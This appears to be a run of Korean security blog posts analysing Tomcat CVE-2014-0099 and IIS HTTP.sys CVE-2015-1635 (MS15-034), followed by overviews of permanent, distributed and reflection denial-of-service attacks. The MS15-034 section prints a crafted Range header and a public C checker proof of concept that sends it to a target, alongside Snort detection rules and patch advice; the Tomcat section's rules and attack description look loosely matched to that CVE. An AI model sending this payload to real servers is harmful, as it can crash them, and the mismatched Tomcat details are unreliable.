1. Tomcat

- 아파치 소프트웨어 재단에서 개발한 웹 애플리케이션 서버

- 자바 환경을 제공하여 자바서버 페이지와 자바 서블릿이 실행할 수 있는 환경을 제공

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2014-0099

- Content-Length 헤더를 조작하여 정수 오버플로를 유발 및 서비스 거부를 유발시키는 취약점

① 영향받는 버전
- Apache Tomcat 6.0.40 이전 버전
- Apache Tomcat 7.0.53 이전 7.x 버전
- Apache Tomcat 8.0.4 이전 8.x 버전

 

2.1 분석

- 해당 취약점은 java/org/apache/tomcat/util/buf/Ascii.java 패키지에서 발생함

- org.apache.tomcat.util.buf 패키지는 인코딩과 디코딩을 처리하는 util 패키지
- Ascii.java는 이름대로 Ascii 처리와 관련된 함수를 제공

 

- Ascii.java에서 정수의 취급(isDigit 함수) 문제에 의해 발생한 것으로 판단됨.

[사진 2] java/org/apache/tomcat/util/buf/Ascii.java 中 발췌

 

- 공격자는 CVE-2015-1635에서 처럼 Conten-Legth 값을 BoF를 유발할 만큼의 큰 값으로 조작

[사진 3] CVE-2015-1635 공격 패킷

3. 대응방안

3.1 서버측면

① 취약점이 패치된 버전으로 업데이트 적용

- 취약점이 패치된 버전의 코드를 확인해보면, isDigit() 외에도 BoF 검증을 위한 코드가 추가된 것으로 판단됨.

[사진 4] 취약점 패치 전, 후 코드 비교

3.2 네트워크 측면

① 공격 탐지가 가능한 정책 설정 및 적용 

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"INDICATOR-COMPROMISE http POST request smuggling attempt"; flow:to_server,established; content:"POST /"; fast_pattern:only; http_header; content:" HTTP/"; http_header; metadata:service http; reference:cve,2014-0099; classtype:misc-attack; sid:31213; rev:1;)

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"INDICATOR-COMPROMISE http GET request smuggling attempt"; flow:to_server,established; content:"GET /"; fast_pattern:only; http_header; content:" HTTP/"; http_header; metadata:service http; reference:cve,2014-0099; classtype:misc-attack; sid:31212; rev:1;)

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2014-0099
https://tomcat.apache.org/security-6.html
https://tomcat.apache.org/security-7.html
https://tomcat.apache.org/security-8.html
- http://svn.apache.org/viewvc?view=revision&revision=1578814
- http://svn.apache.org/viewvc?view=revision&revision=1578812
- http://svn.apache.org/viewvc?view=revision&revision=1580473
https://github.com/CRaC/tomcat/commit/8828a9902df1a98a0334511578a1dec9412a8234

1. HTTP.sys

- w3wp.exe라는 IIS worker process와 Client 사이의 중간자 역할

- Client로부터 요청을 받아 w3wp.exe에 전달해주며, w3wp.exe가 처리한 결과를 받아 다시 Client에 전달

[사진 1] HTTP.sys

2. 취약점

[사진 2] https://nvd.nist.gov/vuln/detail/CVE-2015-1635

- HTTP 요청에서 패킷 사이즈를 변경하여 정수 오버플로를 발생시켜 서버에 BSOD(Blue Screen Of Death)를 유발하거나, 임의의 명령을 수행할 수 있는 취약점

취약한 버전
- Microsoft Windows 7 SP1
- Windows 8
- Windows 8.1
- Windows Server 2012 Gold 및 R2
- Windows Server 2008 R2 SP1

 

2.1 취약점 분석

- HTTP.sys의 주요 함수

함수명 설명
UlpParseRange - Client 요청 패킷을 처음 처리하는 함수
- 동일한 요청에 대해서는 웹 서버에서 캐쉬된 Content를 사용해 속도를 높임
UlPrepareCacheMissRangeResponse - Client에서 처음 요청 했을 때 Response 처리 해주는 함수
UlAdjustRangesToContentSize - 요청 받은 range와 파일 size를 비교 및 체크를 수행하는 함수
UlpBuildCacheEntry - 동일한 요청을 받은 경우 웹 서버 성능 향상을 위한 캐시함수
UlBuildFastRangeCacheMdlChain - _imp__IoBuildPartialMdl 호출
_imp__IoBuildPartialMdl - UlBuildFastRangeCacheMdlChain 함수의 return 값 만큼 메모리 할당

 

- 취약점이 발생하는 함수는 UlAdjustRangesToContentSize()로 다음 식을 이용해 요청 받은 파일 사이즈를 처리

// Security Check 함수
// 실제 파일 사이즈보다 작은지 검증
// Range High + 1 값이 요청받은 파일 사이즈보다 작을 경우 Security Check OK
Range Low + (Range High - Range Low + 1)   ->   Range High + 1

// 할당 받는 메모리 크기
Return Value = Range High - Range Low + 1

 

- 정상적인 요청의 경우와 조작된 요청을 비교하면 다음과 같음 (Range 값 중 18은 0보다 큰 임의의 큰 값을 선택한 것)

정상적인 요청 조작된 요청
GET /hello.png HTTP/1.1
Range: 18-1365
hello.png FileSize : 184946
GET /hello.png HTTP/1.1
Range: 18-18446744073709551615
hello.png FileSize : 184946
Range High + 1 < File Size (Security Check 수행)
- 1365+1 = 1366 < 184946 // Security Check OK
② Range High - Range Low + 1 Retutn(할당 받는 메모리 크기)
- 1365-18+1 = 1348
③ _imp__IoBuildPartialMdl 메모리 할당
- 1348 만큼의 메모리 할당
 Range High + 1 < File Size (Security Check 수행)
- 18446744073709551615+1 < 184946
- 18446744073709551615는 16진수로 0xFFFFFFFFFFFFFFFF
- 64bit 이상 표현할 수 없기 때문에 0x0000000000000000이 됨
- 0 < 184946 이므로 Security Check OK
 Range High - Range Low + 1 Retutn(할당 받는 메모리 크기)
- 18446744073709551615-18+1 = 0xFFFFFFFFFFFFFFEE
 _imp__IoBuildPartialMdl 메모리 할당
0xFFFFFFFFFFFFFFEE 만큼의 메모리 할당

 

[사진 3] 조작된 요청 동작 요약

 

- 위 표 및 사진에 따라, _imp__IoBuildPartialMdl에 의해 0xFFFFFFFFFFFFFFEE 만큼의 메모리를 받아오는 과정에서 BSOD가 발생

 

2.2 취약점 상세

- 취약 서버 구성

[사진 5] 취약 서버 구동(좌) 및 정상 접근 확인(우)

- Range 헤더 조작 후 요청 전송

[사진 6] 조작된 요청 전송

- BSOD 발생 확인

[사진 7] BSOD 발생

- 해당 패킷을 와이어샤크로 확인하면 다음과 같음

[사진 8] 와이어샤크

2.3 PoC

- 공개된 PoC를 확인해 보면 Range 헤더를 조작하는 것을 알 수 있음

/*
 UNTESTED - MS15-034 Checker
  
 THE BUG:

	8a8b2112 56              push    esi
	8a8b2113 6a00            push    0
	8a8b2115 2bc7            sub     eax,edi
	8a8b2117 6a01            push    1
	8a8b2119 1bca            sbb     ecx,edx
	8a8b211b 51              push    ecx
	8a8b211c 50              push    eax
	8a8b211d e8bf69fbff      call    HTTP!RtlULongLongAdd (8a868ae1) ; here

	ORIGNAL POC: http://pastebin.com/raw.php?i=ypURDPc4

	BY: john.b.hale@gmai.com
	Twitter: @rhcp011235
*/

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <arpa/inet.h> 

int connect_to_server(char *ip)
{
	int sockfd = 0, n = 0;

	 struct sockaddr_in serv_addr;
	 struct hostent *server;

	if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    	{
        	printf("\n Error : Could not create socket \n");
        	return 1;
    	}

	memset(&serv_addr, '0', sizeof(serv_addr));
	serv_addr.sin_family = AF_INET;
    	serv_addr.sin_port = htons(80);
	if(inet_pton(AF_INET, ip, &serv_addr.sin_addr)<=0)
    	{
        	printf("\n inet_pton error occured\n");
        	return 1;
    	}
	if( connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0)
    	{
       		printf("\n Error : Connect Failed \n");
      		return 1;
    	} 

	return sockfd;
}
	

int main(int argc, char *argv[])
{
    int n = 0;
    int sockfd;
    char recvBuff[1024];

    // Check server
    char request[] = "GET / HTTP/1.0\r\n\r\n";

    // our evil buffer
    char request1[] = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n";


    if(argc != 2)
    {
        printf("\n Usage: %s <ip of server> \n",argv[0]);
        return 1;
    } 

    printf("[*] Audit Started\n");
    sockfd = connect_to_server(argv[1]);
    write(sockfd, request, strlen(request)); 
    read(sockfd, recvBuff, sizeof(recvBuff)-1);

    if (!strstr(recvBuff,"Microsoft"))
    {
		printf("[*] NOT IIS\n");
		exit(1);
    }

    sockfd = connect_to_server(argv[1]);
    write(sockfd, request1, strlen(request1));
    read(sockfd, recvBuff, sizeof(recvBuff)-1);
    if (strstr(recvBuff,"Requested Range Not Satisfiable"))
    {
                printf("[!!] Looks VULN\n");
                exit(1);
    } else if(strstr(recvBuff,"The request has an invalid header name")) {
	printf("[*] Looks Patched");
} else
	printf("[*] Unexpected response, cannot discern patch status");
	

		

}

 

3. 대응방안

3.1 서버 측면

① Windows 최신 업데이트 적용

- 패치된 버전에서는 UlpParseRange 함수에 RtlULongLongAdd 함수를 호출하여 Overflow 여부를 확인하도록 함
- Integer Overflow가 발생할 경우 RtlULongLongAdd 함수는 STATUS_INTEGER_OVERFLOW 에러를 리턴

 

3.2 네트워크 측면

① 탐지 룰 등록

- 공개된 PoC를 확인해보면 Range 헤더를 조작하므로 Range 헤더 등을 탐지

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"SERVER-IIS Microsoft IIS Range header integer overflow attempt"; flow:to_server,established; content:"Range"; nocase; http_header; content:"bytes"; distance:0; nocase; http_header; content:!"|0A|"; within:12; http_header; pcre:"/^Range\s*\x3a\s*bytes\s*\x3d[^\x0a]*?\d{11}/Him"; metadata:policy security-ips drop, service http; reference:bugtraq,74013; reference:cve,2015-1635; reference:url,technet.microsoft.com/en-us/security/bulletin/ms15-034; classtype:attempted-dos; sid:34061; rev:3;)

 

4. 참고

- https://www.sharedit.co.kr/posts/1912

- https://nvd.nist.gov/vuln/detail/CVE-2015-1635

- https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=22683&queryString=cGFnZT0xJnNvcnRfY29kZT0mc29ydF9jb2RlX25hbWU9JnNlYXJjaF9zb3J0PWRpc3BsYXlfY29udGVudHMmc2VhcmNoX3dvcmQ9Q1ZFLTIwMTUtMTYzNQ== 

- https://learn.microsoft.com/ko-kr/security-updates/securitybulletins/2015/ms15-034

- https://www.exploit-db.com/exploits/36773

- https://blog.qualys.com/vulnerabilities-threat-research/2015/04/20/ms15-034-analyze-and-remote-detection

- https://github.com/John-Lin/docker-snort/blob/master/snortrules-snapshot-2972/rules/server-iis.rules

1. 개요

- 지속 가능한 서비스 거부공격으로 “플래슁(Phlashing)”이라고도 부름

- 2008년 6월 휴렛패커드(HP)의 시스템보안 연구소장인 Rich Smith가 2008.06월에 유럽 공동체의 보안회의(EUSecWest Security Conference)에서 최초 시연

 

2. PDoS (Permanent Denial Of Service)

- 네트워크를 기반으로 하는 펌웨어(Firmware)를 원격 업데이트시킬 때 그 안에 악성 소프트웨어를 삽입시켜서 목표 시스템을 다운시키는 서비스거부 공격방법

펌웨어
- 프린터, 모뎀, 핸드폰, MP3 등의 각종 기기에 내장되어 있는 PROM(Programmable ROM) 내에 삽입되어 영구적으로 컴퓨터 장치의 일부가 되는 프로그램
- 기기의 성능 향상을 위하여 수시로 업데이트 수행

- PC부터 펌웨어를 사용하는 모든 기기들이 공격 대상

- 감염시킨 후 정보를 빼내거나 기기를 사용하지 못하도록 파괴시키는 목적으로 제작

- 시스템 전반에 위협을 가하는 보편성은 적으나 그동안 무방비 상태로 방치했거나 무관심 해왔던 펌웨어의 취약성에 대한 새로운 형태의 위협

- 삽입되는 악성 소프트웨어는 삽입 후 목표 시스템을 즉각 다운시키는 것과 논리 폭탄(Logic Bomb)처럼 잠복시켜서 범행자가 원하는 시기에 원하는 방법으로 서비스를 거부하는 2가지가 존재

 

3. DDoS와의 차이

3.1 DDoS

- 다수의 좀비 PC로 특정 타겟을 공격해 서버에 부하를 발생시켜 정상적 서비스를 제공하지 못하도록 함

- 핑(Ping) 메시지 등을 대량으로 송신하여 목표 시스템에 버퍼 오버플로우(Buffer Overflow) 상태를 일으켜서 시스템을 다운시키거나 많은 좀비 컴퓨터를 이용하여 목표 시스템을 집중 공격함으로써 시스템을 다운시키는 형태가 대표적

- 서비스 거부 상태를 발생시키려는 목적

 

3.2 PDoS

- 서비스 거부공격뿐 아니라 공격 대상 기기를 사용할 수 없도록 파괴하는 기능도 존재

- 서버를 공격하는 것이 아니라 각종 기기의 펌웨어에 악성 소프트웨어를 삽입시켜서 서비스 거부를 유발

- 정보를 탈취하거나 상대방의 기기를 사용 불능케 하려는 목적 및 기반시설을 파괴하는 등의 사이버 전쟁을 목표

 

- 따라서, PDoS는 DDoS 보다 공격 대상과 파괴력이 더욱 광범위

 

4. 대응

- 전자서명 등 무결성이 증명된 업데이트 적용 및 불분명한 출처에서 파일 다운 지양

- 공격에 노츨되었을 경우 펌웨어를 수정하려는 노력보다 ROM 자체를 교체하는 것이 시간적 비용적으로 빠를 수 있음

- 각 공격방식의 특징에따라 대응 방법이 다르다.

- 일반적으로 대응하는 방식은 다음과 같다.

 

① DDoS 대응 서비스 가입

- 한국인터넷 진흥원에서 제공하는 사이버 대피소 혹은 클린존 서비스 이용

 

② 백업 서버 구축

- 디도스 공격에따른 서비스 장애를 최소화하기 위해 백업 서버 구축

 

③ 공격 대상 노출 최소화

- 공격에 이용 및 대상이 되지않도록 주기적인 점검

 

④ 서비스 점검

- 불필요한 포트 혹은 서비스를 사용중인지 점검

 

⑤ 모니터링

- 평시 발생하는 트래픽을 인지하고, 이상 트래픽의 발생 유무 모니터링

 

- KISA DDoS 공격 대응 가이드 참고

 

KISA 인터넷 보호나라&KrCERT

KISA 인터넷 보호나라&KrCERT

www.boho.or.kr

1. DoS (Denial Of Service) 유형

공격명 설명
TCP SYN Flooding - 3-Way HandShaking의 Half-Open 연결이 가능한 것을 이용한 취약점
- 공격자는 대상 시스템에 출발지 IP를 위조해 무수한 SYN 패킷 전송
- 대상 시스템은 위조된 IP에 SYN/ACK 패킷을 전송하며, ACK 응답을 기다림
- 출발지 IP는 위조되어 정상적인 ACK 응답을 수신하지 못함
- 대상시스템은 ACK 응답을 기다리므로, 정상 서비스 제공이 불가해짐
SMURF Attack - 출발지 IP를 대상 시스템으로 위조 및 ICMP 패킷을 직접 브로드 캐스팅 주소(X.X.X.255)로 전송
- 해당 패킷을 수신한 시스템은 대상 시스템으로 ICMP 패킷 응답 
- 대상시스템은 ICMP 응답을 과다하게 수신하여, 정상 서비스 제공이 불가해짐
Land Attack - 출발지 IP와 목적지 IP를 동일하게 설정하여 전송
- 해당 요청을 처리하는 과정에서 부하 발생
Ping of Death - ping에 사용되는 ICMP 패킷의 크기를 정상 크기보다 크게 설정하여 전송하며, 해당 패킷은 네트워크를 거치면서(라우팅 되면서) 작은 조각으로 쪼개지면서 전송됨.
- 피해 시스템에서는 수신한 패킷을 재조립하는 과정에서 부하가 발생.
Tear Drop Attack - 패킷은 네트워크를 통해 전송되면서 단편화를 통해 분할되고, 수신지에서 재조립
- 패킷이 단편회 될 때 오프셋 값을 중복되도록 설정하는 등의 방식을 통해 수신지에서 재조립시 부하 유발
Bonk - 모든 패킷의 순서번호를 1로 설정하여 전송
Boink - 첫번째 패킷의 순서번호를 1, 두번째 패킷의 순서번호를 201, 세번째 패킷의 순서번호 1011 등 순서번호를 랜덤하게 전송

2. DDoS (Distributed Denial of Service) 유형

구분 공격명 설명
전통적인 공격 Trinoo - 많은 호스트로부터 UDP Flooding을 유발
TFN(Tribed Flood Network) - Trinoo의 발전된 형태
- UDP Flooding, ICMP Flooding, TCP SYN Flooding 가능
Stacheldraht - Trinoo + TFN (두 공격이 제공하는 기능 모두 가짐)
- 마스터와 에이전트 간 통신에 암호화 기능을 사용
TFN2K - TFN의 발전된 형태
- 통신에 특정 포트를 사용하지 않고, 암호화 통신
대역폭 공격 - UDP Flooding
- UDP 프로토콜 반사 공격
- ICMP Flooding
- 대량의 트래픽을 피해 시스템에 전송 하여 대역폭을 고갈 시킴
자원 소진 공격 - TCP SYN, ACK Flooding
- Smurf Attack
- 대량의 트래픽을 피해 시스템에 전송 하여 피해 시스템의 서비스 자원을 고갈 시킴
웹/DB 부하 공격 - GET Flooding
- Slowloris Attack
- RUDY Attack
- Slow read Attack
- 정상적인 세션을 맺은 후 과도한 요청을 보내어 서버에 부하를 유발 시킴

3. DRDoS (Distributed Reflection Denial of Service) 유형

공격명 설명
DNS Reflection Attack - 출발지 IP를 대상 시스템으로 위장하여, 다수의 DNS 서버에 ANY, TXT 레코드 요청.
- ANY 레코드 : 도메인에 대한 모든 레코드 질의 시 사용.
- TXT 레코드 : 도메인과 관련해 저장해야 할 임의의 문자를 나타냄.
- 두 레코드 모두 요청에 비해 응답이 크기 때문에 공격에 주로 사용됨.
NTP Reflection Attack - 출발지 IP를 대상 시스템으로 위장하여, 다수의 NTP 서버에 monlist 요청.
- monlist : 최근에 접속한 최대 600개의 호스트 정보를 요청

 

* 해당 방식 외에도 다양한 방식이 존재하며, 구분한 기준 역시 상대적인 것임.

1. DoS (Denial of Service)

- 정당한 사용자가 서비스를 사용하는 것을 방해하는 행위.

- 대상 시스템의 처리 범위를 초과하는 과도한 트래픽을 전송해 부하를 유발하여 정상 서비스를 제공하지 못하도록 함.

- 단일 공격자가 단일 시스템을 대상으로 공격 진행.

 

2. DDoS (Distributed Denial of Service)

- DoS와 마찬가지로 대상 시스템의 처리 범위를 초과하는 과도한 트래픽을 전송해 부하를 유발하여 정상 서비스를 제공하지 못하도록 함.

- 취약한 서버에 악성코드를 배포해 좀비 PC로 이루어진 봇넷을 형성한 후 공격.

- 다수의 분산 좀비 PC를 이용해 단일 시스템에 공격 진행.

[캡쳐 1] DDoS 공격 (https://jwprogramming.tistory.com/181)

구성 요소 설명
공격자, 봇 마스터 - 공격을 주도하는 공격자의 PC
- C&C 서버에 명령을 전달하는 역할
마스터, C&C 서버 - 공격자로부터 명령을 전달받음
- 다수의 에이전트 관리
핸들러 프로그램 - 마스터 시스템의 역할을 수행하는 프로그램
에이전트 - 악성코드에 감염된 시스템으로, 대상 시스템에 직접적인 공격 수행
- 봇, 좀비PC 등으로도 불리며, 이들이 형성한 네트워크를 봇넷이라 함
데몬 프로그램 - 에이전트 시스템 역할을 수행
표적 - 공격의 대상이되는 피해 시스템

3. DRDoS (Distributed Reflection Denial of Service)

- 대상 시스템의 처리 범위를 초과하는 과도한 트래픽을 전송해 부하를 유발하여 정상 서비스를 제공하지 못하도록 함.

- 악성코드를 배보하고 봇넷을 형성하는 등의 과정없이 프로토콜의 구조적 취약점을 이용한 공격.

- 해당 프로토콜의 구조적 취약점을 이용해 정상적인 서비스를 제공하는 시스템을 반사체로 이용해 공격 진행.

[캡쳐 2] DRDoS (https://infosec-ledger.tistory.com/24)

구성 요소 설명
공격자 - 공격을 주도하는 공격자의 PC
반사 서버 - 정상적인 서비스를 제공하나, 프로토콜 구조상 취약점으로 인해 공격에 악용되는 서버
피해자 - 공격의 대상이되는 피해 시스템
일반 DDoS와의 차이점 - 10~500배 이상 트래픽 증폭
  반사 서버의 양과 공격의 규모는 비례

- 공격 패킷이 전송되는 경로의 다양성
  공격이 직접적으로 공격대상으로 향하는 것이 아니라 네트워크에 연결된 무수한 반사 서버로 전송

- 반사 서버의 단계적 사용 및 확산
  반사 서버의 양과 공격의 규모는 비례

- 공격이 발생한 최초의 IP에 대해 역추적이 어려움.
  Src IP를 공격 대상 IP로 위조 및 수 많은 반사 서버를 경유하므로, 근원지 역추적이 거의 불가능

 

+ Recent posts